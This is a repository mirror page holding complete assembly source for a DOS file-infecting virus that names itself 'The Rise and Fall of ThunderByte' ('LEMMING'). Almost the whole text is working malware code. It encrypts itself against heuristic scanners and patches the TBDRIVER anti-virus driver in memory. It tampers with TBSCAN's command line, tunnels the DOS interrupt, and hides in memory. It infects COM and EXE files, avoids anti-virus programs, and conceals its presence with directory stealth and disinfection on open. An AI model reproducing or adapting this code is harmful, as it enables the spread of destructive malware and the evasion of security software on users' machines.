mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
1126 lines
32 KiB
NASM
1126 lines
32 KiB
NASM
|
.286
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
|
|||
|
virus_size equ vir_end - start
|
|||
|
virus_siz equ virus_size + virus_size
|
|||
|
decrypt_size equ handle - next_function
|
|||
|
data_size equ vir_end - step1
|
|||
|
engine_size equ next_function - start
|
|||
|
Int21_base equ 021h*4
|
|||
|
timer_seg equ 01ch*4+2
|
|||
|
virus_paragraphs equ virus_size * 2/16
|
|||
|
|
|||
|
code segment
|
|||
|
assume cs:code,ds:code,es:code
|
|||
|
|
|||
|
|
|||
|
progr equ 0100h
|
|||
|
org progr
|
|||
|
|
|||
|
main:
|
|||
|
start:
|
|||
|
mov cx,decrypt_size
|
|||
|
lea si,next_function
|
|||
|
call ofset
|
|||
|
ofset: pop bp
|
|||
|
sub bp,109h ;Set postion of base pointer
|
|||
|
decrypt:
|
|||
|
xor byte ptr cs:[si][bp],00 ;Anti heuristic decryptor
|
|||
|
key: ;will fool Thunderbyte.
|
|||
|
jcxz next_function
|
|||
|
dec cx
|
|||
|
inc si
|
|||
|
jmp decrypt
|
|||
|
|
|||
|
fooled_tbav:
|
|||
|
|
|||
|
|
|||
|
next_function:
|
|||
|
push es
|
|||
|
push ds
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
call getcpu ;Detect CPU
|
|||
|
je _8086
|
|||
|
mov ax,0fffeh ;Determine if installed
|
|||
|
int 21h
|
|||
|
cmp bx,0ffffh ;Returns ffff in bx if so...
|
|||
|
|
|||
|
test_processor:
|
|||
|
jne install__
|
|||
|
_8086: jmp end_install ;Not 80286 compatible
|
|||
|
|
|||
|
transfer:
|
|||
|
call get_int21
|
|||
|
mov di,0100h
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
lea si,word ptr cs:start[bp]
|
|||
|
mov cx,virus_size
|
|||
|
move:
|
|||
|
rep movsb ;Move virus and make resident
|
|||
|
|
|||
|
copied:
|
|||
|
|
|||
|
call set_int21 ;Set int 21 to virus
|
|||
|
jmp end_install
|
|||
|
|
|||
|
install__ proc near
|
|||
|
push ds es
|
|||
|
call anti_av ;Detect the presence of TBDRIVER
|
|||
|
pop es ds ;and patch
|
|||
|
mov ax,5802h ;are umb's available?
|
|||
|
int 21h
|
|||
|
jc install_low ;no then install in low memory
|
|||
|
mov ax,5803h ;Chain mcb's into low memory
|
|||
|
mov bx,1
|
|||
|
int 21h
|
|||
|
jc install_low
|
|||
|
push es ;get current mcb
|
|||
|
pop dx
|
|||
|
dec dx
|
|||
|
mov di,3 ;add to current mcb to get
|
|||
|
;pointer to next mcb
|
|||
|
walk: mov es,dx
|
|||
|
cmp byte ptr es:[di-3],05ah
|
|||
|
je lastmcb
|
|||
|
add dx,word ptr es:di
|
|||
|
inc dx ;search for last mcb.
|
|||
|
mov es,dx
|
|||
|
cmp byte ptr es:[di-3],05ah
|
|||
|
jne walk
|
|||
|
lastmcb:
|
|||
|
mov ax,5803h ;remove umb link
|
|||
|
xor bx,bx
|
|||
|
int 21h
|
|||
|
cmp word ptr es:[di],virus_paragraphs
|
|||
|
ja hi_install ;Enough memory for UMB install?
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
jmp install_low
|
|||
|
hi_install:
|
|||
|
inc dx
|
|||
|
mov es,dx ;es points to virus new CS
|
|||
|
install_low:
|
|||
|
push es
|
|||
|
xor di,di
|
|||
|
push es ;original psp segment
|
|||
|
pop dx
|
|||
|
dec dx
|
|||
|
mov es,dx
|
|||
|
cmp byte ptr es:[di],5ah
|
|||
|
jne end_install
|
|||
|
mov ax,virus_siz
|
|||
|
mov cl,4
|
|||
|
shr ax,cl
|
|||
|
inc ax
|
|||
|
inc ax
|
|||
|
sub word ptr es:[di+3],ax ;
|
|||
|
mov ax,word ptr es:[di+3] ;copy last mcb size into ax
|
|||
|
pop cx
|
|||
|
add cx,ax ;new segment
|
|||
|
sub cx,10h
|
|||
|
mov word ptr cs:new_seg[bp],cx
|
|||
|
mov es,cx
|
|||
|
jmp transfer ;go and move virus to new
|
|||
|
;memory position
|
|||
|
install__ endp
|
|||
|
|
|||
|
end_install:
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
lea di,word ptr cs:buffer1[bp]
|
|||
|
mov ax,05a4dh
|
|||
|
cmp word ptr cs:[di],ax
|
|||
|
jne goto_com
|
|||
|
mov ax,word ptr cs:[di+16h]
|
|||
|
push es
|
|||
|
pop bx
|
|||
|
|
|||
|
add bx,10h
|
|||
|
add ax,bx ;code segment
|
|||
|
|
|||
|
mov cx,word ptr cs:[di+0eh] ;get original ss
|
|||
|
mov dx,word ptr cs:[di+10h] ;get original sp
|
|||
|
add cx,bx
|
|||
|
cli
|
|||
|
mov ss,cx ;restore original ss and sp
|
|||
|
mov sp,dx
|
|||
|
sti
|
|||
|
push ax
|
|||
|
mov bx,word ptr cs:[di+14h] ;get original ip
|
|||
|
push bx
|
|||
|
call clear_reg ;clear all registers
|
|||
|
retf ;and hand back control
|
|||
|
|
|||
|
goto_com:
|
|||
|
cld
|
|||
|
lea si,buffer1[bp] ;restore com entry point
|
|||
|
mov di,0100h
|
|||
|
mov cx,18h
|
|||
|
rep movsb
|
|||
|
push 0100h
|
|||
|
call clear_reg
|
|||
|
ret ;hand back control
|
|||
|
|
|||
|
clear_reg:
|
|||
|
xor ax,ax
|
|||
|
xor bx,bx
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
xor si,si
|
|||
|
xor di,di
|
|||
|
xor bp,bp
|
|||
|
ret
|
|||
|
|
|||
|
anti_av proc near
|
|||
|
; DISABLE TBDRIVER AGAINST TUNNELING DETECT
|
|||
|
|
|||
|
mov ax,5200h
|
|||
|
int 21h ;es:bx
|
|||
|
add bx,22h ;pointer to first device 'NUL'
|
|||
|
;or 'CON'
|
|||
|
next_search:
|
|||
|
cld
|
|||
|
lds si,word ptr es:bx
|
|||
|
cmp si,-1
|
|||
|
je not_found
|
|||
|
push ds cs
|
|||
|
pop es
|
|||
|
lea di,scan[bp]
|
|||
|
push si
|
|||
|
add si,10 ;device name offset
|
|||
|
;from bx pointer
|
|||
|
mov cx,5
|
|||
|
rep cmpsb ;search for device name
|
|||
|
pop bx es
|
|||
|
jne next_search
|
|||
|
found: ;If TBDRIVER is found then
|
|||
|
push ds ;patch against tunneling
|
|||
|
pop es
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov di,bx
|
|||
|
xor ax,ax
|
|||
|
lea si,scan_string[bp]
|
|||
|
next_char:
|
|||
|
inc ax
|
|||
|
mov cx,5
|
|||
|
push si
|
|||
|
rep cmpsb ;search for string
|
|||
|
pop si
|
|||
|
je bullseye
|
|||
|
cmp ax,10116
|
|||
|
je not_found
|
|||
|
jmp next_char
|
|||
|
|
|||
|
bullseye:
|
|||
|
mov es:[di-12],09090h ;disable tbdriver
|
|||
|
not_found:
|
|||
|
ret
|
|||
|
scan db 'TBDRV'
|
|||
|
scan_string db 0fah,09ch,0fch,053h,050h
|
|||
|
anti_av endp
|
|||
|
|
|||
|
|
|||
|
VirName db 0dh,0ah,'The Rise and Fall of ThunderByte-1994-Australia.',0dh,0ah
|
|||
|
db ' You Will Never Trust Anti-Virus Software Again!! ',0dh,0ah
|
|||
|
db '[LEMMING] ver .99<EFBFBD>'
|
|||
|
|
|||
|
Anti_tbscan proc near
|
|||
|
|
|||
|
push es ds si di ax bx cx dx
|
|||
|
push bx
|
|||
|
lea si,Tbscan
|
|||
|
lea bx,tbscan_size
|
|||
|
mov byte ptr cs:no_scasb_flag,0
|
|||
|
call tbscan_test ;Is Tbscan being executed?
|
|||
|
pop bx
|
|||
|
jnc not_tbscan
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
call hook_int1c ;
|
|||
|
les di, dword ptr es:bx+2
|
|||
|
push di
|
|||
|
xor bx,bx
|
|||
|
mov bl, byte ptr es:[di]
|
|||
|
add di,bx ;di now points to end of C/T
|
|||
|
lea si,tbscan_switch
|
|||
|
cld
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
pop di
|
|||
|
add byte ptr es:[di],3
|
|||
|
not_tbscan:
|
|||
|
pop dx cx bx ax di si ds es
|
|||
|
ret
|
|||
|
tbscan_size db 0,6,6,0
|
|||
|
tbscan_switch db 20h,'c','o',0dh ;adding ' co' to command line
|
|||
|
;forces tbscan into Compat
|
|||
|
;mode
|
|||
|
Anti_tbscan endp
|
|||
|
|
|||
|
get_int21 proc near
|
|||
|
push es
|
|||
|
push ds
|
|||
|
xor bx,bx
|
|||
|
mov ds,bx
|
|||
|
mov bx,word ptr ds:[84h]
|
|||
|
mov es,word ptr ds:[86h]
|
|||
|
pop ds
|
|||
|
mov word ptr cs:int_21_off[bp],bx ;save vector for later calls
|
|||
|
mov word ptr cs:int_21_seg[bp], es
|
|||
|
mov word ptr cs:int_21_off_o[bp],bx
|
|||
|
mov word ptr cs:int_21_seg_o[bp],es
|
|||
|
call int_trace
|
|||
|
pop es
|
|||
|
ret
|
|||
|
get_int21 endp
|
|||
|
|
|||
|
set_int21 proc near
|
|||
|
push es
|
|||
|
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
lea ax,word ptr cs:int_21
|
|||
|
mov bx,word ptr cs:new_seg[bp]
|
|||
|
cli
|
|||
|
mov ds:[134],bx
|
|||
|
mov ds:[132],ax
|
|||
|
sti
|
|||
|
pop es
|
|||
|
ret
|
|||
|
set_int21 endp
|
|||
|
|
|||
|
identify proc near
|
|||
|
|
|||
|
;on entry, ds:dx points to asciiz file to be run.
|
|||
|
;bx must point to file size table. EOT must be '0'
|
|||
|
;si must point to table of strings to compare.
|
|||
|
;direction_flag==0 for before '. e.g lemming.com' and 1 for after.
|
|||
|
|
|||
|
push ds ;pointers to asciiz
|
|||
|
push dx
|
|||
|
mov cx,00ffh
|
|||
|
mov al,'.'
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
push dx
|
|||
|
pop di
|
|||
|
cmp byte ptr cs:no_scasb_flag,1
|
|||
|
je no_scasb
|
|||
|
cld
|
|||
|
repne scasb
|
|||
|
no_scasb:
|
|||
|
xor ax,ax ;load index position (0).
|
|||
|
xor cx,cx
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
next_byte:
|
|||
|
inc al
|
|||
|
push ax
|
|||
|
push di ;save position
|
|||
|
push si
|
|||
|
xlat
|
|||
|
or al,al ;end of index?
|
|||
|
jz no_match ;yes?
|
|||
|
cmp byte ptr cs:direction_flag,1
|
|||
|
je right
|
|||
|
sub di,8 ;back up to begining of name
|
|||
|
cmp byte ptr cs:no_scasb_flag,1
|
|||
|
je right
|
|||
|
add di,8
|
|||
|
sub di,ax
|
|||
|
dec di
|
|||
|
right: mov cl,al ;bytes to count...
|
|||
|
rep cmpsb
|
|||
|
je match_found
|
|||
|
pop si
|
|||
|
add si,ax ;if not equal, next field
|
|||
|
pop di
|
|||
|
pop ax
|
|||
|
jmp next_byte
|
|||
|
|
|||
|
match_found:
|
|||
|
clc
|
|||
|
jmp clear
|
|||
|
|
|||
|
no_match: stc
|
|||
|
|
|||
|
clear: pop ax
|
|||
|
pop ax
|
|||
|
pop ax
|
|||
|
pop dx
|
|||
|
pop ds
|
|||
|
ret
|
|||
|
|
|||
|
direction_flag db 0
|
|||
|
no_scasb_flag db 0
|
|||
|
identify endp
|
|||
|
|
|||
|
|
|||
|
do_not_infect proc near ;Table of files not to infect
|
|||
|
start_:
|
|||
|
AVSize db 4,4,6,3,5,5,0
|
|||
|
AVName :db 'TBAV'
|
|||
|
TBSCAN: db 'TBSCAN'
|
|||
|
db 'NAV'
|
|||
|
db 'VSAFE'
|
|||
|
db 'FPROT'
|
|||
|
|
|||
|
do_not_infect endp
|
|||
|
is_file_infectable proc near
|
|||
|
|
|||
|
extension_size db 4,3,3,3,3,0 ;Table of extensions to infect
|
|||
|
extension: db 'COM'
|
|||
|
db 'com'
|
|||
|
db 'EXE'
|
|||
|
db 'exe'
|
|||
|
stop_:
|
|||
|
is_file_infectable endp
|
|||
|
|
|||
|
stealth_a proc near ;Appears to be the same DIR
|
|||
|
pushf ;stealth routines from NPOX
|
|||
|
push cs
|
|||
|
call skip_infect
|
|||
|
test al,al
|
|||
|
jnz no
|
|||
|
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push es
|
|||
|
mov ah,51h
|
|||
|
int 21h
|
|||
|
|
|||
|
mov es,bx
|
|||
|
cmp bx,es:[16h]
|
|||
|
jnz not_
|
|||
|
mov bx,dx
|
|||
|
mov al,[bx]
|
|||
|
push ax
|
|||
|
mov ah,2fh
|
|||
|
int 21h
|
|||
|
pop ax
|
|||
|
inc al
|
|||
|
|
|||
|
jnz fcb_ok
|
|||
|
add bx,7h
|
|||
|
fcb_ok: mov ax,es:[bx+17h]
|
|||
|
|
|||
|
and ax,01eh
|
|||
|
xor al,01eh
|
|||
|
jnz not_
|
|||
|
and byte ptr es:[bx+17h],0e0h
|
|||
|
sub word ptr es:[bx+1dh],virus_size
|
|||
|
sbb word ptr es:[bx+1fh],0
|
|||
|
not_: pop es
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
no: iret
|
|||
|
stealth_a endp
|
|||
|
|
|||
|
search_flag_b:
|
|||
|
mov byte ptr cs:trace_flag,0 ;re-use to save memory
|
|||
|
jmp dta_out
|
|||
|
|
|||
|
stealth_b proc near
|
|||
|
pushf
|
|||
|
push cs
|
|||
|
call skip_infect
|
|||
|
jc search_flag_b
|
|||
|
mov byte ptr cs:trace_flag,1
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push es
|
|||
|
mov ah,2fh
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ax,es:[bx+16h]
|
|||
|
mov cx,es:[bx+18h]
|
|||
|
and ax,1eh
|
|||
|
xor ax,1eh
|
|||
|
jnz dta_out1
|
|||
|
sub word ptr es:[bx+1ah],virus_size
|
|||
|
sbb word ptr es:[bx+1ch],0
|
|||
|
|
|||
|
dta_out1: pop es
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
dta_out: retf 0002h
|
|||
|
|
|||
|
stealth_b endp
|
|||
|
stealth: jmp stealth_a
|
|||
|
|
|||
|
critical_error_handler:
|
|||
|
mov al,03h
|
|||
|
iret
|
|||
|
|
|||
|
int_21 proc near
|
|||
|
cmp ah,011h
|
|||
|
je stealth
|
|||
|
cmp ah,012h
|
|||
|
je stealth
|
|||
|
cmp ah,04eh
|
|||
|
je stealth_b
|
|||
|
cmp ah,04fh
|
|||
|
je stealth_b
|
|||
|
cmp ah,04bh
|
|||
|
je file_infect_step
|
|||
|
cmp ah,06ch
|
|||
|
je disinfect_step
|
|||
|
cmp ah,03dh
|
|||
|
je disinfect_step
|
|||
|
cmp ah,03eh
|
|||
|
je file_infect
|
|||
|
cmp ah,04ch
|
|||
|
je program_terminate_step
|
|||
|
cmp ax,0fffeh ;test if active in memory
|
|||
|
jne direct
|
|||
|
mov bx,0ffffh
|
|||
|
iret
|
|||
|
|
|||
|
direct: jmp dword ptr cs:int_21_off
|
|||
|
|
|||
|
program_terminate_step:
|
|||
|
call program_terminate
|
|||
|
jmp direct
|
|||
|
|
|||
|
disinfect_step: jmp disinfect
|
|||
|
|
|||
|
file_infect_step:
|
|||
|
call anti_tbscan
|
|||
|
jmp file_infect
|
|||
|
int_21 endp
|
|||
|
|
|||
|
|
|||
|
|
|||
|
get_filename_from_handle proc near
|
|||
|
|
|||
|
push bx
|
|||
|
mov ax,1220h
|
|||
|
int 2fh
|
|||
|
mov ax,1216h
|
|||
|
mov bl,es:[di]
|
|||
|
int 2fh
|
|||
|
pop bx
|
|||
|
add di,11h
|
|||
|
mov byte ptr es:[di-0fh],02
|
|||
|
add di,17h
|
|||
|
push di
|
|||
|
pop dx
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
ret
|
|||
|
get_filename_from_handle endp
|
|||
|
|
|||
|
infect_OK proc near
|
|||
|
|
|||
|
lea bx,extension_size
|
|||
|
lea si,extension ;Test for EXE,COM,OVL
|
|||
|
mov byte ptr cs:direction_flag,1
|
|||
|
call identify
|
|||
|
jc error ;if not exe then error
|
|||
|
|
|||
|
lea bx,avsize
|
|||
|
lea si,avname ;Test for AV
|
|||
|
tbscan_test:
|
|||
|
mov byte ptr cs:direction_flag,0
|
|||
|
call identify
|
|||
|
jnc error ;If no AV then good!
|
|||
|
|
|||
|
no_error:
|
|||
|
clc
|
|||
|
ret
|
|||
|
|
|||
|
error: stc
|
|||
|
ret
|
|||
|
|
|||
|
infect_ok endp
|
|||
|
|
|||
|
no_good:
|
|||
|
jmp exe
|
|||
|
|
|||
|
file_infect proc
|
|||
|
cmp bl,4
|
|||
|
ja handle_ok
|
|||
|
cmp ah,4bh ;determine if file open or
|
|||
|
je handle_ok ;file execute
|
|||
|
jmp skip_infect
|
|||
|
handle_ok:
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push es
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
push di
|
|||
|
push si
|
|||
|
|
|||
|
call set_critical_error_handler
|
|||
|
cmp ah,4bh
|
|||
|
jne only_handle_supplied
|
|||
|
|
|||
|
call open_file ;open file if call = ah=4b
|
|||
|
jc no_good
|
|||
|
cmp bl,5
|
|||
|
jb no_good
|
|||
|
mov byte ptr cs:execute_flag,1
|
|||
|
|
|||
|
push bx
|
|||
|
mov byte ptr cs:no_scasb_flag,0
|
|||
|
call infect_ok
|
|||
|
pop bx
|
|||
|
jnc skip_flag_check
|
|||
|
jmp dont_infect_here
|
|||
|
|
|||
|
only_handle_supplied:
|
|||
|
|
|||
|
mov byte ptr cs:execute_flag,0 ;if flag ==1 then close
|
|||
|
call get_filename_from_handle
|
|||
|
|
|||
|
|
|||
|
push bx
|
|||
|
mov byte ptr cs:no_scasb_flag,1
|
|||
|
call infect_ok
|
|||
|
pop bx
|
|||
|
|
|||
|
jnc good
|
|||
|
jmp dont_infect_here
|
|||
|
|
|||
|
skip_flag_check:
|
|||
|
|
|||
|
good: call get_date
|
|||
|
push dx
|
|||
|
push cx
|
|||
|
mov word ptr cs:old_date,dx
|
|||
|
mov word ptr cs:old_time,cx
|
|||
|
call is_file_infected
|
|||
|
jc do_it
|
|||
|
jmp loc_15
|
|||
|
|
|||
|
do_it: call set_offset_start
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
lea dx,buffer
|
|||
|
mov cx,18h
|
|||
|
call read_file
|
|||
|
push cx
|
|||
|
|
|||
|
cld
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
lea si,buffer
|
|||
|
lea di,buffer1
|
|||
|
mov cx,18h
|
|||
|
rep movsb ;Save header for stealth
|
|||
|
pop cx ;disinfect on open
|
|||
|
cmp word ptr cs:[buffer1+0ch],1 ;Dont infect if number of
|
|||
|
jb exe ;paragraps required after load
|
|||
|
xor dx,dx ;is less than 1
|
|||
|
call set_offset_e
|
|||
|
cmp dx,0
|
|||
|
ja big_enough
|
|||
|
cmp ax,0fff0h-virus_siz
|
|||
|
ja exe
|
|||
|
|
|||
|
big_enough:
|
|||
|
cmp dx,4
|
|||
|
ja exe
|
|||
|
cmp byte ptr ds:[buffer],4Dh ; 'M' ; is file exe?
|
|||
|
je file_is_exe ; Jump if equal;
|
|||
|
jmp file_is_com
|
|||
|
exe:
|
|||
|
jmp loc_15
|
|||
|
|
|||
|
file_is_exe: ;Recalculate new EXE Header
|
|||
|
push bx
|
|||
|
mov cl,4
|
|||
|
mov bx,word ptr [buffer+8]
|
|||
|
shl bx,cl
|
|||
|
push dx ax
|
|||
|
sub ax,bx
|
|||
|
sbb dx,0
|
|||
|
mov bx,10h
|
|||
|
div bx
|
|||
|
mov word ptr [buffer+14h],dx
|
|||
|
mov word ptr [buffer+16h],ax
|
|||
|
add ax,virus_size/16
|
|||
|
mov word ptr [buffer+0eh],ax
|
|||
|
pop ax dx
|
|||
|
add ax,virus_size
|
|||
|
adc dx,0
|
|||
|
mov bx,512
|
|||
|
div bx
|
|||
|
pop bx
|
|||
|
inc ax
|
|||
|
mov word ptr [buffer+4],ax
|
|||
|
mov word ptr [buffer+2],dx
|
|||
|
mov cx,18h
|
|||
|
lea dx,buffer
|
|||
|
push dx
|
|||
|
push cx
|
|||
|
jmp short loc_14
|
|||
|
|
|||
|
File_Is_Com:
|
|||
|
sub ax,3
|
|||
|
mov word ptr cs:[com_header_offset],ax
|
|||
|
mov cx,3 ;header size in bytes
|
|||
|
lea dx,com_header
|
|||
|
push dx
|
|||
|
push cx
|
|||
|
loc_14:
|
|||
|
|
|||
|
call write_virus ;write and encrypt virus
|
|||
|
call set_offset_start
|
|||
|
pop cx
|
|||
|
pop dx
|
|||
|
call write_bytes
|
|||
|
pop cx
|
|||
|
or cl,01eh
|
|||
|
push cx
|
|||
|
|
|||
|
loc_15:
|
|||
|
pop cx
|
|||
|
pop dx
|
|||
|
call write_date
|
|||
|
|
|||
|
dont_infect_here:
|
|||
|
cmp byte ptr cs:execute_flag,1
|
|||
|
jne dont_close
|
|||
|
mov ah,3eh
|
|||
|
call dos
|
|||
|
dont_close:
|
|||
|
call restore_critical_error_handler
|
|||
|
pop si
|
|||
|
pop di
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop es
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
|
|||
|
skip_infect:
|
|||
|
jmp dword ptr cs:int_21_off
|
|||
|
|
|||
|
execute_flag db 0
|
|||
|
|
|||
|
file_infect endp
|
|||
|
|
|||
|
disinfect proc near
|
|||
|
pusha
|
|||
|
push ds es
|
|||
|
cmp ah,06ch ;adjust ds:si to ds:dx if
|
|||
|
jne not_extended ;ah == extended file open(6c)
|
|||
|
push si
|
|||
|
pop dx
|
|||
|
not_extended:
|
|||
|
mov byte ptr cs:no_scasb_flag,0
|
|||
|
call infect_ok
|
|||
|
jc skip_disinfect
|
|||
|
call set_critical_error_handler
|
|||
|
call open_file
|
|||
|
jc skip_disinfect ;Skip disinfection on error
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
call get_date ;Get file date
|
|||
|
call is_file_infected ;Is the seconds field 60?
|
|||
|
jne dont_disinfect ;If not, then quit
|
|||
|
xor dx,dx
|
|||
|
call set_offset_e ;get infected file size
|
|||
|
push dx ;save
|
|||
|
push ax
|
|||
|
sub ax,1ch ;sub buffer size from end
|
|||
|
sbb dx,0
|
|||
|
mov cx,dx ;set new pointer to buffer
|
|||
|
mov dx,ax
|
|||
|
call no_xor
|
|||
|
lea dx,old_date
|
|||
|
mov cx,1ch ;buffer = 18h + 4 for date = 1c
|
|||
|
call read_file ;read into buffer
|
|||
|
call set_offset_start ;Restore original header
|
|||
|
mov cx,18h
|
|||
|
lea dx,buffer1
|
|||
|
call write_bytes ;write at start
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
sub dx,virus_size
|
|||
|
sbb cx,0
|
|||
|
call no_xor ;set offset from start
|
|||
|
mov ah,40h
|
|||
|
xor cx,cx
|
|||
|
call dos ;truncate
|
|||
|
mov cx,old_time
|
|||
|
mov dx,old_date
|
|||
|
call write_date ;Restore original date and time
|
|||
|
cmp trace_flag,0
|
|||
|
je dont_disinfect
|
|||
|
call reset_dta ;Adjust seconds field in DTA
|
|||
|
dont_disinfect:
|
|||
|
mov ah,3eh ;Close file
|
|||
|
call dos
|
|||
|
call restore_critical_error_handler
|
|||
|
skip_disinfect:
|
|||
|
pop es ds
|
|||
|
popa
|
|||
|
jmp dword ptr cs:int_21_off
|
|||
|
|
|||
|
disinfect endp
|
|||
|
|
|||
|
reset_dta proc near
|
|||
|
push ax bx es
|
|||
|
mov ah,2fh ;Get current DTA
|
|||
|
call dos ;DTA pointed to by es:bx
|
|||
|
mov ax,word ptr cs:old_time ;Get old time and
|
|||
|
mov word ptr es:[bx+16h],ax ;save in DTA
|
|||
|
pop es bx ax
|
|||
|
ret
|
|||
|
reset_dta endp
|
|||
|
|
|||
|
get_date proc near
|
|||
|
mov ax,5700h
|
|||
|
call dos
|
|||
|
ret
|
|||
|
get_date endp
|
|||
|
|
|||
|
write_date proc near
|
|||
|
mov ax,5701h
|
|||
|
call dos
|
|||
|
ret
|
|||
|
write_date endp
|
|||
|
|
|||
|
is_file_infected proc near
|
|||
|
and cl,01eh ;Unmask seconds
|
|||
|
cmp cl,01eh
|
|||
|
ret
|
|||
|
is_file_infected endp
|
|||
|
|
|||
|
com_header proc
|
|||
|
db 0e9h ;JMP
|
|||
|
com_header_offset dw 0000
|
|||
|
com_header endp
|
|||
|
|
|||
|
|
|||
|
set_offset_start proc
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
no_xor: mov ax,4200h
|
|||
|
call dos
|
|||
|
ret
|
|||
|
|
|||
|
set_offset_e:
|
|||
|
xor cx,cx
|
|||
|
mov ax,4202h
|
|||
|
call dos
|
|||
|
ret
|
|||
|
read_file:
|
|||
|
mov ah,3fh
|
|||
|
call dos
|
|||
|
ret
|
|||
|
write_bytes:
|
|||
|
mov ah,40h
|
|||
|
call dos
|
|||
|
ret
|
|||
|
|
|||
|
write_virus:
|
|||
|
xor ax,ax
|
|||
|
out 70h,al
|
|||
|
in ax,70h ;Get seconds from computer
|
|||
|
cmp ah,0 ;If seconds = 0 then
|
|||
|
jne dont_mask ;set to 12
|
|||
|
mov ah,12
|
|||
|
|
|||
|
dont_mask:
|
|||
|
cmp ah,21h ;???
|
|||
|
jne dont_mask1
|
|||
|
mov ah,15h
|
|||
|
|
|||
|
dont_mask1:
|
|||
|
mov byte ptr cs:key-1,ah ;Save key in virus decryptor
|
|||
|
lea si,start ;move to preallocated memory for
|
|||
|
lea di,vir_end ;encryption
|
|||
|
inc di
|
|||
|
mov cx,virus_size
|
|||
|
cld
|
|||
|
rep movsb ;Copy uninfected verson to
|
|||
|
;encryption area
|
|||
|
mov cx,decrypt_size
|
|||
|
lea si,vir_end ;load si with virus and address
|
|||
|
inc si ;inc to virus image to encrypt
|
|||
|
add si,engine_size ;add 16h bytes so as not to
|
|||
|
encrypt: ;encrypt virus engine
|
|||
|
xor [si],ah
|
|||
|
inc si
|
|||
|
loop encrypt ;Encrypt
|
|||
|
|
|||
|
mov ah,40h
|
|||
|
mov cx,virus_size
|
|||
|
lea dx,vir_end
|
|||
|
inc dx
|
|||
|
call dos
|
|||
|
ret
|
|||
|
set_offset_start endp
|
|||
|
|
|||
|
dos proc near
|
|||
|
Pushf ;Save flags for DOS IRET
|
|||
|
call dword ptr cs:int_21_off_o ;original dos entry
|
|||
|
ret
|
|||
|
dos endp
|
|||
|
|
|||
|
open_file proc near
|
|||
|
push ax
|
|||
|
mov ax,3d02h
|
|||
|
call dos
|
|||
|
push ax
|
|||
|
pop bx ax ;Put handle into BX
|
|||
|
ret
|
|||
|
open_file endp
|
|||
|
|
|||
|
set_critical_error_handler proc near
|
|||
|
push ax bx dx es ds
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ax,3524h
|
|||
|
call dos
|
|||
|
mov critical_error_seg,es
|
|||
|
mov critical_error_off,bx
|
|||
|
lea dx,critical_error_handler
|
|||
|
mov ax,2524h
|
|||
|
call dos
|
|||
|
pop ds es dx bx ax
|
|||
|
ret
|
|||
|
set_critical_error_handler endp
|
|||
|
|
|||
|
critical_error_off dw ?
|
|||
|
critical_error_seg dw ?
|
|||
|
|
|||
|
restore_critical_error_handler proc near
|
|||
|
mov ax,2524h
|
|||
|
lds dx,dword ptr cs:critical_error_off
|
|||
|
call dos
|
|||
|
ret
|
|||
|
restore_critical_error_handler endp
|
|||
|
|
|||
|
|
|||
|
int_trace proc near
|
|||
|
mov ax,3501h ;get trace interrupt
|
|||
|
int 21h
|
|||
|
mov di,es ;save seg and offset in di, si
|
|||
|
mov si,bx
|
|||
|
|
|||
|
mov ax,2501h
|
|||
|
lea dx,word ptr cs:int_01[bp] ;point trace to our segment
|
|||
|
int 21h
|
|||
|
pushf
|
|||
|
push cs
|
|||
|
lea ax,word ptr cs:exit_trace[bp] ;set up for after trace
|
|||
|
push ax
|
|||
|
|
|||
|
cli
|
|||
|
pushf
|
|||
|
pop ax
|
|||
|
or ax,100h ;switch trace flag on
|
|||
|
push ax ;save flags
|
|||
|
|
|||
|
mov ax,word ptr cs:int_21_seg[bp]
|
|||
|
push ax ;save seg
|
|||
|
mov ax,word ptr cs:int_21_off[bp]
|
|||
|
push ax ;save offset
|
|||
|
mov ax,351ch ;get INT 1c address
|
|||
|
mov byte ptr cs:trace_flag[bp],1
|
|||
|
mov bx,bp
|
|||
|
iret
|
|||
|
exit_trace:
|
|||
|
mov byte ptr cs:trace_flag[bp],0 ;turn of our trace flag
|
|||
|
sti ;restore interrupts
|
|||
|
mov ax,2501h ;restore original INT 01
|
|||
|
mov dx,si ;Vectors
|
|||
|
mov ds,di
|
|||
|
int 21h
|
|||
|
ret ;Done
|
|||
|
int_01:
|
|||
|
push bp
|
|||
|
mov bx,bp
|
|||
|
mov bp,sp
|
|||
|
cmp byte ptr cs:trace_flag[bx],1
|
|||
|
je tunnel_dos
|
|||
|
tunnel:
|
|||
|
and word ptr [bp+6],0feffh
|
|||
|
mov byte ptr cs:trace_flag[bx],0
|
|||
|
pop bp
|
|||
|
iret
|
|||
|
tunnel_dos:
|
|||
|
cmp word ptr [bp+4],300h ;Are we in the DOS SEG?
|
|||
|
jb save_vector
|
|||
|
pop bp
|
|||
|
iret
|
|||
|
|
|||
|
save_vector:
|
|||
|
push cx
|
|||
|
mov cx,[bp+2]
|
|||
|
mov cs:int_21_off_o[bx],cx ;Delta offsets are used
|
